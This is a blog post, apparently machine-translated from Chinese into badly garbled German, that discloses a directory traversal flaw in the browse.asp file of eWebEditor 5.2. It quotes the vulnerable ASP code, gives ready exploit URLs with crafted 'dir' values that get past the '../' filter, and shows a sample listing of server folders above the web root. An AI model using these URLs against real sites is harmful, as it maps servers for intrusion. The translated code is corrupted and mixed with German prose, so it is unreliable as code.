ewebeditor 5,2 Serie Katalog Schwachstellen
: St0p
Eigene Station mit dem Editor, bevor ihre eigenen Straffung der ewebeditor von 5,2 ASP-Version zur Arbeit müde, um sich auszuruhen, hat ein Redakteur nicht wirklich, habe ich ein kleines Schlupfloch gefunden, obwohl die Rolle der jedoch nicht verwendet werden, um zu helfen oder ziemlich gut sein.
Reichen Sie eine Gesetzeslücke existiert in der ewebeditor / asp / browse.asp
Ein 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 | Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir 'On Error Resume Next Set oFSO = Server . CreateObject ( "Scripting.FileSystemObject" ) Set oUploadFolder = oFSO. GetFolder ( Server . MapPath ( sCurrDir ) ) '注意一下sCurrDir变量,这个值等下我们可以用到 If Err. Number > 0 Then s_List = "" Exit Function End If If sDir <> "" Then If InstrRev ( sDir, "/" ) > 1 Then s_Url = Left ( sDir, InstrRev ( sDir, "/" ) - 1 ) Else s_Url = "" End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/parentfolder.gif'></td>" & _ "<td>..</td>" & _ "<td> </td>" & _ "</tr>" End If 'Response.Write sDir&"!"&s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. SubFolders 'Response.Write oUploadFolder.SubFolders If sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'>" & _ "<td><img border=0 src='../sysimage/file/closedfolder.gif'></td>" & _ "<td noWrap>" & oSubFolder. Name & "</td>" & _ "<td> </td>" & _ "</tr>" Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Files For Each oUploadFile In oUploadFiles 'Response.Write oUploadFile.Name sFileName = oUploadFile. Name If CheckValidExt ( sFileName ) = True Then '这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 If sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath & sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'>" & _ "<td>" & FileName2Pic ( sFileName ) & "</td>" & _ "<td noWrap>" & sFileName & "</td>" & _ "<td align=right>" & GetSizeUnit ( oUploadFile. size ) & "</td>" & _ "</tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url If sDir = "" Then s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & "" 's_Url = "/" & sDir & "/" End If s_List = s_List & "</table>" s_List = HTML2JS ( s_List ) 'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url s_List = "parent.setDirList(" "" & s_List & "" ", " "" & s_Url & "" ")" GetList = s_List End Function '如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 Function CheckValidExt ( s_FileName ) If sAllowExt = "" Then CheckValidExt = True Exit Function End If Dim i, aExt, sExt sExt = LCase ( Mid ( s_FileName, InStrRev ( s_FileName, "." ) + 1 ) ) CheckValidExt = False aExt = Split ( LCase ( sAllowExt ) , "|" ) For i = 0 To UBound ( aExt ) If aExt ( i ) = sExt Then CheckValidExt = True Exit Function End If Next End Function '我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 Sub InitParam ( ) sType = UCase ( Trim ( Request . QueryString ( "type" ) ) ) sStyleName = Trim ( Request . QueryString ( "style" ) ) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound ( aStyle ) aStyleConfig = Split ( aStyle ( i ) , "|||" ) If Lcase ( sStyleName ) = Lcase ( aStyleConfig ( 0 ) ) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript ( "alert('Invalid Style.')" ) End If sBaseUrl = aStyleConfig ( 19 ) 'nAllowBrowse = CLng(aStyleConfig(43)) nAllowBrowse = 1 If nAllowBrowse <> 1 Then OutScript ( "alert('Do not allow browse!')" ) End If sUploadDir = aStyleConfig ( 3 ) If Left ( sUploadDir, 1 ) <> "/" Then Select Case sType Case "REMOTE" sUploadDir = "../../" & sUploadDir & "Image/" Case "FILE" sUploadDir = "../../" & sUploadDir & "Other/" Case "MEDIA" sUploadDir = "../../" & sUploadDir & "Media/" Case "FLASH" sUploadDir = "../../" & sUploadDir & "Flash/" Case Else sUploadDir = "../../" & sUploadDir & "Image/" End Select End If 'sUploadDir =sUploadDir &"/" Select Case sBaseUrl Case "0" 'sContentPath = aStyleConfig(23) Select Case sType Case "REMOTE" sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" Case "FILE" sContentPath = "../" & aStyleConfig ( 3 ) & "Other/" Case "MEDIA" sContentPath = "../" & aStyleConfig ( 3 ) & "Media/" Case "FLASH" sContentPath = "../" & aStyleConfig ( 3 ) & "Flash/" Case Else sContentPath = "../" & aStyleConfig ( 3 ) & "Image/" End Select Case "1" sContentPath = RelativePath2RootPath ( sUploadDir ) Case "2" sContentPath = RootPath2DomainPath ( RelativePath2RootPath ( sUploadDir ) ) End Select Select Case sType Case "REMOTE" sAllowExt = aStyleConfig ( 10 ) Case "FILE" sAllowExt = aStyleConfig ( 6 ) Case "MEDIA" sAllowExt = aStyleConfig ( 9 ) Case "FLASH" sAllowExt = aStyleConfig ( 7 ) Case Else sAllowExt = aStyleConfig ( 8 ) End Select sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 sDir = Trim ( Request ( "dir" ) ) '得到dir变量 sDir = Replace ( sDir, "\" , "/" ) '对dir变量进行过滤 sDir = Replace ( sDir, "../" , "" ) sDir = Replace ( sDir, "./" , "" ) If sDir <> "" Then If CheckValidDir ( Server . Mappath ( sUploadDir & sDir ) ) = True Then sCurrDir = sUploadDir & sDir & "/" '重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出 Else sDir = "" End If End If End Sub Function GetList () Dim s_List, s_Url s_List = "" Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 'Response.Write sCurrDir' On Error Resume Next Set oFSO = Server. CreateObject ("Scripting.FileSystemObject") Set oUploadFolder = oFSO. GetFolder (Server. MapPath (sCurrDir)) 'Hinweis sCurrDir variabel, dieser Wert können wir den Ist die Zahl Err> 0 Then s_List = "" Exit Function End If If sDir <> "" Then Wenn InstrRev (sDir "/")> 1 Then s_Url = Left (sDir, InstrRev (sDir, "/") - 1) Else s_Url = "" End If s_List = s_List & "<tr onclick = 'doRowClick (this)' onmouseover =" doRowOver (this) "onmouseout = 'doRowOut (this)" isdir =' true 'path =' "& s_Url &" '> "& _" <td> <img border = 0 src = ".. / sysimage / file / parentFolder gif "> </ td>" & _ "<td> .. </ td>" & _ "<td> </ td>" & _ "</ tr>" End If 'das Response.Write sDir & "!" & s_List Dim oSubFolder For Each oSubFolder In oUploadFolder. UnterOrdnerAuflistung 'Response.Write oUploadFolder.SubFolders Wenn sDir = "" Then s_Url = oSubFolder. Name Else s_Url = sDir & "/" & oSubFolder. Name End If s_List = s_List & " <tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='" & s_Url & "'> "& _" <td> <img border = 0 src = ".. / sysimage / file / closedfolder.gif '> </ td>" & _ "<td Pariser Geschaft" & oSubFolder. Name & "</ td>" & _ "<td> </ td> "& _" </ tr> "Next 'Response.Write s_List Set oUploadFiles = oUploadFolder. Dateien für die einzelnen oUploadFile In oUploadFiles' Response.Write oUploadFile.Name sFileName = oUploadFile. Name Wenn CheckValidExt (sFileName) = True Then 'Diese Zeile war ein bisschen deprimiert, um alle erlaubten Datei-Endung, wie nicht nicht in der Lage, List oder Nicht Liste nur den Namen des Verzeichnisses und Bild-Datei des Falls sDir = "" Then s_Url = sContentPath & sFileName Else s_Url = sContentPath auf & erkennen sDir & "/" & sFileName End If s_List = s_List & "<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' url='" & s_Url & "'> "& _" <td> "& FileName2Pic (sFileName) &" </ td> "& _" <td Pariser Geschaft "& sFileName &" </ td> "& _" <td align=right> "& GetSizeUnit ( oUploadFile. Größe) & "</ td>" & _ "</ tr>" End If Next Set oUploadFolder = Nothing Set oUploadFiles = Nothing 'Response.Write Server.HTMLEncode (s_List) & "!" & s_Url Wenn sDir = "" Dann s_Url = "" 's_Url = "/" Else s_Url = "/" & sDir & ""' s_Url = "/" & sDir & "/" End If s_List = s_List & "</ table>" s_List HTML2JS = ( s_List) 'Response.Write Server.HTMLEncode (s_List) & "!" & s_Url s_List = "parent.setDirList (" "" & s_List & "" "" "" & s_Url & "" ")" GetList = s_List End Function "Wenn Sie nicht Schritt Erkennung, sollte in der Lage, alle Dateien im Verzeichnis auflisten, und ein bisschen deprimiert .. jetzt nur listet die Dateien und Verzeichnisse zu erlauben Suffixnamen Funktion CheckValidExt (s_FileName) Wenn die sAllowExt =" "Then CheckValidExt = True Exit Function End If Dim i, aExt, Sext Sext = LCase (Mid (s_FileName, InStrRev (s_FileName,) + 1) ".") = False CheckValidExt aExt = Split (LCase (sAllowExt), "|") For i = 0 To UBound (aExt) Wenn aExt (i) = Sext Dann CheckValidExt = True Exit Function End If Next End Function 'down Code zu finden sCurrDir Wert des folgenden finden lohnt sich der Sub initParam () = sType UCase (Trim (Request. QueryString ("type"))) sStyleName = Trim (Request. QueryString ("Stil")) Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To UBound (astyle) aStyleConfig = Split (astyle (i), "| | |") If LCase (sStyleName) = LCase (aStyleConfig (0)) Dann bValidStyle = True Exit For End If Next Wenn bValidStyle = False Then OutScript ("alert ('Ungültige Style.')") End If sBaseUrl = aStyleConfig (19) '= nAllowBrowse CLng (aStyleConfig (43)) = 1 nAllowBrowse Wenn nAllowBrowse <> 1 Then OutScript ("alert (' Nicht suchen! ')") End If sUploadDir = aStyleConfig (3) Wenn Left (sUploadDir, 1) <> "/" Dann Select Case sType Case "REMOTE" sUploadDir = ".. / .. /" & sUploadDir & "Image /" Case "FILE" sUploadDir = ".. / .. / "& sUploadDir &" Sonstiges / "Case" MEDIA "sUploadDir =" .. / .. / "& sUploadDir &" Media / "Case" FLASH "sUploadDir =" .. / .. / "& sUploadDir &" Flash / " Case Else sUploadDir = ".. / .. /" & sUploadDir & "image /" End Select End If 'sUploadDir = sUploadDir & "/" Select Case sBaseUrl Fall "0"' = sContentPath aStyleConfig (23) Select Case sType Case " REMOTE "sContentPath =" .. / "& aStyleConfig (3) und" Image / "Case" FILE "sContentPath =" .. / "& aStyleConfig (3) &" Sonstiges / "Case" MEDIA "sContentPath =" .. / "& aStyleConfig (3) und" Medien / "Case" FLASH "sContentPath =" .. / "& aStyleConfig (3) &" Flash / "Case Else sContentPath =" .. / "& aStyleConfig (3) und" Image / "End Select Case" 1 "= sContentPath RelativePath2RootPath (sUploadDir) Case" 2 "= sContentPath RootPath2DomainPath (RelativePath2RootPath (sUploadDir)) End Select Select Case sType Case" REMOTE "sAllowExt = aStyleConfig (10) Case" FILE "sAllowExt = aStyleConfig (6 ) Case "MEDIA" sAllowExt = aStyleConfig (9) Rechtssache "FLASH" sAllowExt = aStyleConfig (7) Case Else sAllowExt = aStyleConfig (8) End Select sCurrDir sUploadDir = 'Hinweis, das ist der Pfad zur Konfigurationsdatei Adresse sDir = Trim ( Request ("dir")) 'erhalten Sie die Variable sDir dir = Replace (sDir, "\", "/")' dir den Filter sDir variable = Replace (sDir ".. /", "") sDir = Replace ( die sDir, ". /", "") Wenn sDir <> "" Then Wenn CheckValidDir (Server. MapPath (sUploadDir & sDir)) = True Then sCurrDir = sUploadDir & sDir & "/" 'auf hier zu konzentrieren, siehe Nein, als wenn sUploadDir & sDir, sCurrDir auf den Wert der sUploadDir & sDir "Obwohl auf dem Gesicht des sDir gefiltert, aber wir können übersprungen werden. spezifische Verwendung St0p die Else sDir in der nachfolgenden Verwendung = gegeben werden "End If End If End Sub |
Hey, sehen dies sollten Sie verstehen, dass in der Tat, die Filterung dir ist, können wir konstruieren einen besonderen Wert auf Überprüfung überspringen, so können Sie die Verzeichnis-Struktur erhalten und zeigt die Datei mit der Endung von Dateien im Datei-Einstellungen erlaubt ..
Die Verwendung von Methoden sind wie folgt
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=..../.// ..
Der Test der St0p das Upload-Verzeichnis ist das Root-Verzeichnis des uploadfile die obige Adresse, die Sie alle Verzeichnisse im Root-Verzeichnis bekommen können.
Hey, wenn Sie feststellen, eine offene Anzeige leer ist, verliert den Mut nicht, die den Quellcode anzeigen, sehen Sie, was Ihr Root-Verzeichnis der Verzeichnis-Namen haben.
Er Root-Verzeichnis gibt es ein Gäste-Verzeichnis, können wir listen die folgende Adresse seines folgende Struktur
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/...././/guest
Dann können wir auch
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=...././/../..../.// ..
Gehe zu den höheren Schichten, mein Test virtuellen Host, bekommen die drei-Verzeichnis des www, Logfile, Datenbankmanagementsystem.
Ein
| <HEAD> <meta Http-equiv='Content-Type' content='text/html; charset=utf-8'> <TITLE> eWebEditor </ TITLE> </ head> <body> <script language = JavaScript> parent.setDirList ("<tr onclick='doRowClick(this)' onmouseover='doRowOver(this)' onmouseout='doRowOut(this)' isdir='true' path='../..'> <td > <img border=0 src='../sysimage/file/parentfolder.gif'> </ a> · .. </ a> · </ td> </ tr> <tr onclick = 'doRowClick (this)' onmouseover = "doRowOver (this)" onmouseout = 'doRowOut (this) "isdir =' true 'path =" .. / .. / .. / logfiles'> <td> <img border = 0 src = ".. / sysimage / file / closedfolder.gif '> </ td> <td Pariser Geschaft Logfiles </ a> · </ td> </ tr> <tr onclick =' doRowClick (dies ) 'onmouseover = "doRowOver (this)" onmouseout =' doRowOut (this) "isdir = 'true' path =" .. / .. / .. / www '> <td> <img border = 0 src ='. . / sysimage / file / closedfolder.gif '> </ td> <td Pariser Geschaft www </ a> · </ td> </ tr> </ table> "," / .. / .. / .. ") </ script> </ body> </ html> |
Diese Sicherheitsanfälligkeit kann nur berücksichtigt werden, wenn die Hilfs-Einsatz von Intrusion Detection, Sie die Verzeichnis-Struktur erhalten werden, zum Beispiel, Change-Management-Verzeichnis, Datenbank-Verzeichnis, so können Sie den Namen des Verzeichnisses, aber ich kann nicht Dateien auflisten lassen St0p deprimiert. ich ....
Dies ist das zweite Original-Dokument von der St0p auf dem Blog ausgestellt, nach mehrfachen, Ga, ist jetzt auch als Blog eröffnet ..
Hinweis: Der Sprung in der Website-Verzeichnis in allem habe ich gefunden, an der Rezeption werden ersetzt










































258 Trackback (s)
Sie müssen eingeloggt um einen Kommentar abzugeben.